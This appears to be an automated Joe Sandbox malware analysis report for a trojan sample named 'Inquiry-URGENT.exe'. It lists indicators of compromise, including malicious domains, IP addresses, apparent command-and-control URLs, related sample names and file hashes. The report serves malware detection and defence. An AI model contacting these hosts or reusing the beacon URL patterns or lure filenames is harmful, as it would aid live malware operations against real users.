tovardarom.xyz	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://i1.cdn-image.com/__media__/pics/12471/kwbg.jpg)	0%	Avira URL Cloud	safe
http://findquickresultsnow.com/fashion_trends.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1NqQ4p	0%	Avira URL Cloud	safe
http://findquickresultsnow.com/song_lyrics.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1NqQ4pPrs	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.otf	0%	Avira URL Cloud	safe
http://www.khlopok.club/b5ce/?7nqLWRV0=kNxZIWTQx5nCNlvJonIYbJCBQmvVcT2X1CiQyYZ2pQhuEOz9vrAvmQg2dhGIWbuOnxMp&DJE8X=4hlh3	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.otf	0%	Avira URL Cloud	safe
http://findquickresultsnow.com/Top_Smart_Phones.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1NqQ	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/pics/12471/search-icon.png)	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.eot?#iefix	0%	Avira URL Cloud	safe
http://www.lianshangtron.com/b5ce/?7nqLWRV0=WdCn/kPOsGECQ6X5wfp65poK7SwinBwjgfqA8CanQGxQHv6Okf04s3qFBz0DbwV5uzgy&DJE8X=4hlh3	0%	Avira URL Cloud	safe
www.rheilea.com/b5ce/	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.ttf	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.ttf	0%	Avira URL Cloud	safe
http://findquickresultsnow.com/display.cfm	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.woff2	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.eot	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/pics/12471/libgh.png)	0%	Avira URL Cloud	safe
http://www.tovardarom.xyz/b5ce/?7nqLWRV0=DJnvNV/6mp+JehKrIaw09sUOMJEcD/JystEz9B9fnmezvaywTqAFSPdXHnxiLUzhPCdJ&DJE8X=4hlh3	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.eot?#iefix	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.woff2	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.eot	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/pics/12471/arrow.png)	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/pics/12471/bodybg.png)	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/pics/12471/logo.png)	0%	Avira URL Cloud	safe
http://findquickresultsnow.com/Best_Mortgage_Rates.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1	0%	Avira URL Cloud	safe
http://www.trasportesemmanuel.com/b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP+7L8K6Nslrqzy4UJncL0zvFIM5Fri+7k0NXne0nLY&DJE8X=4hlh3	100%	Avira URL Cloud	malware
http://findquickresultsnow.com/Free_Credit_Report.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1N	0%	Avira URL Cloud	safe
http://findquickresultsnow.com/Migraine_Pain_Relief.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO	0%	Avira URL Cloud	safe
https://www.novasaude-g1.online/b5ce/?7nqLWRV0=SAwBm0	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/pics/12471/libg.png)	0%	Avira URL Cloud	safe
http://findquickresultsnow.com/Top_10_Luxury_Cars.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1N	0%	Avira URL Cloud	safe
http://www.trasportesemmanuel.com/b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP	100%	Avira URL Cloud	malware
http://www.josiemaran-supernatural.com/b5ce/?7nqLWRV0=/AI3JQDCZyk/6ubsQmnvJO3EeIaIHb6AvonvM2F4xgXAwnTSleK6/XaIEVHpjjtFOEyF&DJE8X=4hlh3	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.svg#ubuntu-b	0%	Avira URL Cloud	safe
http://www.tameka-stewart.com/b5ce/?7nqLWRV0=4jQHwSxHHIZwFcDn9YyiwFwOuX4cum7XsZ3DkRiOKi2AyYToUWCX9nZ4+Axc57SiIQXe&DJE8X=4hlh3	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.woff	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.svg#ubuntu-r	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.woff	0%	Avira URL Cloud	safe
http://i1.cdn-image.com/__media__/js/min.js?v2.3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.novasaude-g1.online	172.67.153.117	true	false		unknown
tameka-stewart.com	184.168.131.241	true	true	1%, Virustotal, Browse	unknown
tovardarom.xyz	213.5.70.60	true	true	1%, Virustotal, Browse	unknown
www.nutritionhawks.com	74.208.236.139	true	true		unknown
apexpropertiesltd.com	34.102.136.180	true	false		unknown
www.trasportesemmanuel.com	162.241.61.210	true	true		unknown
www.studyengland.com	209.99.64.43	true	true		unknown
www.lianshangtron.com	103.100.209.77	true	true		unknown
josiemaran-supernatural.com	34.102.136.180	true	false		unknown
khlopok.club	34.252.217.69	true	true		unknown
www.tameka-stewart.com	unknown	unknown	true		unknown
www.khlopok.club	unknown	unknown	true		unknown
www.tovardarom.xyz	unknown	unknown	true		unknown
www.lakeefctmich.com	unknown	unknown	true		unknown
www.apexpropertiesltd.com	unknown	unknown	true		unknown
www.bajajfinservmutualfund.com	unknown	unknown	true		unknown
www.zambiaedu.xyz	unknown	unknown	true		unknown
www.josiemaran-supernatural.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.khlopok.club/b5ce/?7nqLWRV0=kNxZIWTQx5nCNlvJonIYbJCBQmvVcT2X1CiQyYZ2pQhuEOz9vrAvmQg2dhGIWbuOnxMp&DJE8X=4hlh3	true	Avira URL Cloud: safe	unknown
http://www.lianshangtron.com/b5ce/?7nqLWRV0=WdCn/kPOsGECQ6X5wfp65poK7SwinBwjgfqA8CanQGxQHv6Okf04s3qFBz0DbwV5uzgy&DJE8X=4hlh3	true	Avira URL Cloud: safe	unknown
www.rheilea.com/b5ce/	true	Avira URL Cloud: safe	low
http://www.tovardarom.xyz/b5ce/?7nqLWRV0=DJnvNV/6mp+JehKrIaw09sUOMJEcD/JystEz9B9fnmezvaywTqAFSPdXHnxiLUzhPCdJ&DJE8X=4hlh3	true	Avira URL Cloud: safe	unknown
http://www.trasportesemmanuel.com/b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP+7L8K6Nslrqzy4UJncL0zvFIM5Fri+7k0NXne0nLY&DJE8X=4hlh3	true	Avira URL Cloud: malware	unknown
http://www.josiemaran-supernatural.com/b5ce/?7nqLWRV0=/AI3JQDCZyk/6ubsQmnvJO3EeIaIHb6AvonvM2F4xgXAwnTSleK6/XaIEVHpjjtFOEyF&DJE8X=4hlh3	false	Avira URL Cloud: safe	unknown
http://www.tameka-stewart.com/b5ce/?7nqLWRV0=4jQHwSxHHIZwFcDn9YyiwFwOuX4cum7XsZ3DkRiOKi2AyYToUWCX9nZ4+Axc57SiIQXe&DJE8X=4hlh3	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://i1.cdn-image.com/__media__/pics/12471/kwbg.jpg)	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://findquickresultsnow.com/fashion_trends.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1NqQ4p	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://findquickresultsnow.com/song_lyrics.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1NqQ4pPrs	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.otf	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.otf	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://findquickresultsnow.com/Top_Smart_Phones.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1NqQ	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/pics/12471/search-icon.png)	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.eot?#iefix	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.ttf	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.ttf	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://findquickresultsnow.com/display.cfm	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.woff2	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.eot	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/pics/12471/libgh.png)	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.eot?#iefix	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.woff2	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.eot	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/pics/12471/arrow.png)	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/pics/12471/bodybg.png)	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/pics/12471/logo.png)	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://findquickresultsnow.com/Best_Mortgage_Rates.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://findquickresultsnow.com/Free_Credit_Report.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1N	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://findquickresultsnow.com/Migraine_Pain_Relief.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.novasaude-g1.online/b5ce/?7nqLWRV0=SAwBm0	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/pics/12471/libg.png)	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://findquickresultsnow.com/Top_10_Luxury_Cars.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1N	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.trasportesemmanuel.com/b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	true	Avira URL Cloud: malware	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.svg#ubuntu-b	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.woff	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.svg#ubuntu-r	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.woff	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/js/min.js?v2.3	rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
74.208.236.139	www.nutritionhawks.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
213.5.70.60	tovardarom.xyz	Netherlands	51430	ALTUSNL	true
34.252.217.69	khlopok.club	United States	16509	AMAZON-02US	true
103.100.209.77	www.lianshangtron.com	Hong Kong	133115	HKKFGL-AS-APHKKwaifongGroupLimitedHK	true
162.241.61.210	www.trasportesemmanuel.com	United States	46606	UNIFIEDLAYER-AS-1US	true
34.102.136.180	apexpropertiesltd.com	United States	15169	GOOGLEUS	false
184.168.131.241	tameka-stewart.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	491567
Start date:	27.09.2021
Start time:	17:53:02
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Inquiry-URGENT.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@13/7
EGA Information:	Failed
HDC Information:	Successful, ratio: 14.4% (good quality ratio 12.8%) Quality average: 73% Quality standard deviation: 32%
HCA Information:	Successful, ratio: 100% Number of executed functions: 69 Number of non-executed functions: 132
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.82.210.154, 20.54.110.249, 40.112.88.60, 23.10.249.43, 23.10.249.26, 20.49.157.6 Excluded domains from analysis (whitelisted): displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, iris-de-ppe-azsc-uks.uksouth.cloudapp.azure.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
17:53:59	API Interceptor	1x Sleep call for process: Inquiry-URGENT.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
74.208.236.139	21PO#578478847.exe	Get hash	malicious	Browse	www.25307viaoriol.com/tu/
74.208.236.139	73PO17072018.exe	Get hash	malicious	Browse	www.25307viaoriol.com/tu/
184.168.131.241	ejecutable1.exe	Get hash	malicious	Browse	www.dunedinhyperlocal.com/u4an/?1bxhyLu=QzQ5ef7X9Qx2RFxJxLuAV3Nyo+3E4vM7eDKYIH9lLMMMsSlhTFVhOgGCly15LXQ6PZbXEA==&a8a=O6e4vnipWHrd6Lz
	MOQ-Request_0927210-006452.xlsx	Get hash	malicious	Browse	www.moneybagsinfinity.com/m0np/?MZ=oKyMT3YA8KYt+NxcJRzkJ3DEXUmtwPIijI6mHOJ0EgjLAKv9c/DPBOPUL/8UoSqg7ZX4ig==&fldpz=6lxl4n5XAfXdk
	HSBC94302,pdf.exe	Get hash	malicious	Browse	www.darlindough.com/dhua/?dXj87bfP=NZv036+4e3gN/+qloKFg8Oq5zVOT3D7E82a1gkyvusPwYdrWE8ti2PEEBsAPXfx/A0mh&xXE=6lxdAHgP
	DUE PAYMENT.exe	Get hash	malicious	Browse	www.sunshinefamilysupport.com/b2c0/?2dpPwJP=OHhY/R7Pi7l9OOhmJJK1Xj4hyqShMd99eYdWuTQY8l2Zovp1jXuaaoSrFJSTx4r5BI+0&uN9=3fPH4rk8fd4xHD
	v2XwLpMqG5.exe	Get hash	malicious	Browse	www.hiphopventuresllc.com/nthe/?N8M=gJEdz6O82R845Lp&2doH=51bJujFJBxpSDR9k7cUDilKkV4KkFhJHHX/lE6+3+eoVRGg/EppnzVI8s0sFuxy6WP910E8BOw==
	TNT 07833955.exe	Get hash	malicious	Browse	www.tameka-stewart.com/b5ce/?2dtd=2dTpyPZX3Tqt_8d0&C2M=4jQHwSxHHIZwFcDn9YyiwFwOuX4cum7XsZ3DkRiOKi2AyYToUWCX9nZ4+DdflLeaFxqIDX9qeg==
	invoice.exe	Get hash	malicious	Browse	www.urbanroosterbrewing.com/etaf/?dL34vp=1bu4HbvxwjIxUH&m6=aHXdck283bAMt2Hfk1As5U9hVPBLyqAthq2CGBgXsktpW+EcgrhDLEVrOOQJB15O3/i7
	New Order Specifications.exe	Get hash	malicious	Browse	www.yourrealtorcoach.com/ssee/?Shy=7nUtX&LB_8RH=pMY6JGS2pnoegGhbaSt9t22BnLNre01dlhVog6ZDEy5KmRh15Wpo2WC1JFMWDW/HRSQb
	YVcB6LD4Lj.exe	Get hash	malicious	Browse	www.jenpaddock.com/cmsr/?-Z=eq8yEKAWGsylHEvex3bMTlVCFSQ96FyCuEeWsdTcJSUtYF5hFZpfpINpvkF7Ck5gCU8U&lRX8A=7n-DOjbx_Tr8
	Abn order 55.doc	Get hash	malicious	Browse	www.thefreepersons.com/bckt/?eL0dq=obSpz2dXnPNlX&wl50w=tBZE9MRU2EUCHEwIwv7fcfTWhZCle+3oKy9s20c3Pi8AEnYmP/C5/kAmHQxa8isvtfF0Gg==
	Amended SO of 2000KVA400KVA.exe	Get hash	malicious	Browse	www.theboathub.com/ergs/?4hqpRfZp=LEbmtPDTU+vYT/by0IYIeQazdksm7/S906+FI13/4CRuN5C8KL2uQRgeKJiNZmLH+44R&p84Hff=gDHP36_0
	payment..exe	Get hash	malicious	Browse	www.urbanroosterbrewing.com/etaf/?7n=Pzrtyx08&lHFx40t=aHXdck283bAMt2Hfk1As5U9hVPBLyqAthq2CGBgXsktpW+EcgrhDLEVrOOQJB15O3/i7
	Quotation & Sample Designs.PDF.exe	Get hash	malicious	Browse	www.ils.network/ny9y/?2dT8lD=KDfa+xhR9Uu624ix//uQmF9gETjhYiWhpw2JcjceV0fLTQRkTfZxHZ0DtmO8B955MtUEvKAThw==&JFN=Kn5T66A0sL
	Updated SOA.exe	Get hash	malicious	Browse	www.sunshinefamilysupport.com/b2c0/?_JE=OHhY/R7K/8h4MegcVZK1Xj4hyqShMd99eYdWuTQY8l2Zovp1jXuaaoSrFKSMy8PCBLbw&-Z=9rjLOxDhNVLl4X
	PI.exe	Get hash	malicious	Browse	www.curbside-chauffeur.com/p5a0/?RRLhe=Kd9tst9hnRdDjTf&DDHLa=JukudkUxVbTdYVRCF1pRAg//CNbN5JQgiNrlEuxrFjBtGyo8wRk0rCj0IsBEGr8jTPnb
	truck pictures.exe	Get hash	malicious	Browse	www.thedoublezbar.com/cuig/?9rKPkT=2dfXcPxP_&yTbXp6=L4FDgVEe6HzbIw7Y2w/E2vM4Pqwo2/ISkut8UHGVfA5peMbnmrR+nhbhMXYOuT+Z8/IE
	PO.exe	Get hash	malicious	Browse	www.pillepet.com/ig04/?0DH8qx3=inCZr7bvriWCJESOkGlsHmgEHnLe1RVpPF1LCT4Dyzyk21fEKPQ7t4RGICHqr8RqPiAZk8+zEw==&jL3=-ZrdqHw
	Listed P.O.exe	Get hash	malicious	Browse	www.whitefieldkarate.com/wf43/?UlWh=si/TE1/+g5ZtSjdgusrACU9kFAEctjt7rhNZ5WcpIZtq1AiuPv7wMhxPCHpsJixsAyn90HZKzQ==&2du8z=V0DheNaPGHVlSPe
	arrival notice.exe	Get hash	malicious	Browse	www.ilovecoventry.com/n58i/?jrU4NBtp=SuMp/r8m7MLbsAhdx2+vo4RDv4Fspb+bmHugmTCD5o7ZU3vK4HF56dfp1g0HnRS7M8EDPfOdWw==&vbOlS=UboLn
	Wg1UpQ3DEC.exe	Get hash	malicious	Browse	www.soulardfranklinroom.com/bckt/?8pNlv=i0G8PfHxDD&5jU0C=AuGe9zZ/Lbdazaz/uR/POFPjqzlbiRMFvn4xVXtErRM9l207eeRtS2/KOxa7EAk7RHmg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ONEANDONE-ASBrauerstrasse48DE	ejecutable2.exe	Get hash	malicious	Browse	217.160.0.222
	index_2021-09-25-14_08.exe	Get hash	malicious	Browse	217.160.0.15
	IKpep4Zn5S.exe	Get hash	malicious	Browse	217.160.230.95
	MV DINA QUEEN.xlsx	Get hash	malicious	Browse	217.160.230.95
	PAYMENT COPY.exe	Get hash	malicious	Browse	217.160.0.159
	Medical Order 092021.exe	Get hash	malicious	Browse	217.160.0.250
	cs.exe	Get hash	malicious	Browse	217.174.240.46
	DUE PAYMENT.exe	Get hash	malicious	Browse	74.208.236.156
	INV 563256 and 373PDF.exe	Get hash	malicious	Browse	74.208.236.222
	SYsObQNkC1.exe	Get hash	malicious	Browse	217.160.0.253
	v2XwLpMqG5.exe	Get hash	malicious	Browse	217.160.0.177
	1vY5i8g38s.exe	Get hash	malicious	Browse	217.160.243.54
	JNk46WKTxo.exe	Get hash	malicious	Browse	212.227.210.118
	KTi0r6xqtH.exe	Get hash	malicious	Browse	77.68.79.72
	Z14S9Zolcyub1pd.exe	Get hash	malicious	Browse	217.76.156.252
	SOA.exe	Get hash	malicious	Browse	213.171.195.105
	UfJYgKlooF.exe	Get hash	malicious	Browse	74.208.236.226
	Payment Proof pdf.exe	Get hash	malicious	Browse	74.208.236.82
	justificante de la transfer.exe	Get hash	malicious	Browse	212.227.15.142
	UPDATED e-STATEMENT..exe	Get hash	malicious	Browse	217.160.0.49
ALTUSNL	ZJYhnDLhwa.exe	Get hash	malicious	Browse	31.3.152.100
	ZfigYV6HXd.exe	Get hash	malicious	Browse	31.3.152.100
	g4E1F7Lc2O.exe	Get hash	malicious	Browse	31.3.152.100
	yVhvGnsUpL.exe	Get hash	malicious	Browse	31.3.152.100
	BoFA_Remittance Advice_21219.xlsm	Get hash	malicious	Browse	31.3.152.100
	IQl00lxPjo.exe	Get hash	malicious	Browse	31.3.152.100
	PDF.FILE#1145523.vbs	Get hash	malicious	Browse	206.123.147.48
	YINFFTpCA4.exe	Get hash	malicious	Browse	79.142.76.244
	Instruction copy.exe	Get hash	malicious	Browse	213.5.70.58
	XoN2GgRiga.exe	Get hash	malicious	Browse	128.127.105.184
	28lvYsFGLl.exe	Get hash	malicious	Browse	128.127.105.184
	DECL G50 EURL.xlsx	Get hash	malicious	Browse	128.127.105.184
	byodInstCL.exe	Get hash	malicious	Browse	79.142.69.9
	x4xlPw0K93.exe	Get hash	malicious	Browse	79.142.76.244
	faktura #696498.xlsx	Get hash	malicious	Browse	79.142.76.244
	0DySn8eZVx.exe	Get hash	malicious	Browse	79.142.66.239
	LdmcHfRWKM.exe	Get hash	malicious	Browse	79.142.66.239
	bkCtR51L3O.exe	Get hash	malicious	Browse	79.142.73.155
	JUSTIFICANTE TRANSFERENCIA.xlsx	Get hash	malicious	Browse	79.142.73.155
	7Frr8Rl49L.exe	Get hash	malicious	Browse	185.10.56.4

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Inquiry-URGENT.exe.log Download File
Process:	C:\Users\user\Desktop\Inquiry-URGENT.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.554495827272038
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Inquiry-URGENT.exe
File size:	443904
MD5:	001127ea6a36d3b93e8c54ff1b8f22b8
SHA1:	acd9171ec5641efc54a16c5c18184dd6e25138c8
SHA256:	2728dc98fdebc00823b877eba49ace782c17db8a07074634aafca9dc00277776
SHA512:	7a5687835380616daa433ce196fdb7badfcf74f0e1e4cb97c4064ac0eea1b633b0ed536ea409519d09a5f5c341861b1930242a3f8c706eb58f52defab8e2110f
SSDEEP:	12288:OIF/OGaxwRNRWMDABT4ZxzOiGLbrh9yU9:OIFy2NsMDA54Z8dbrhN9
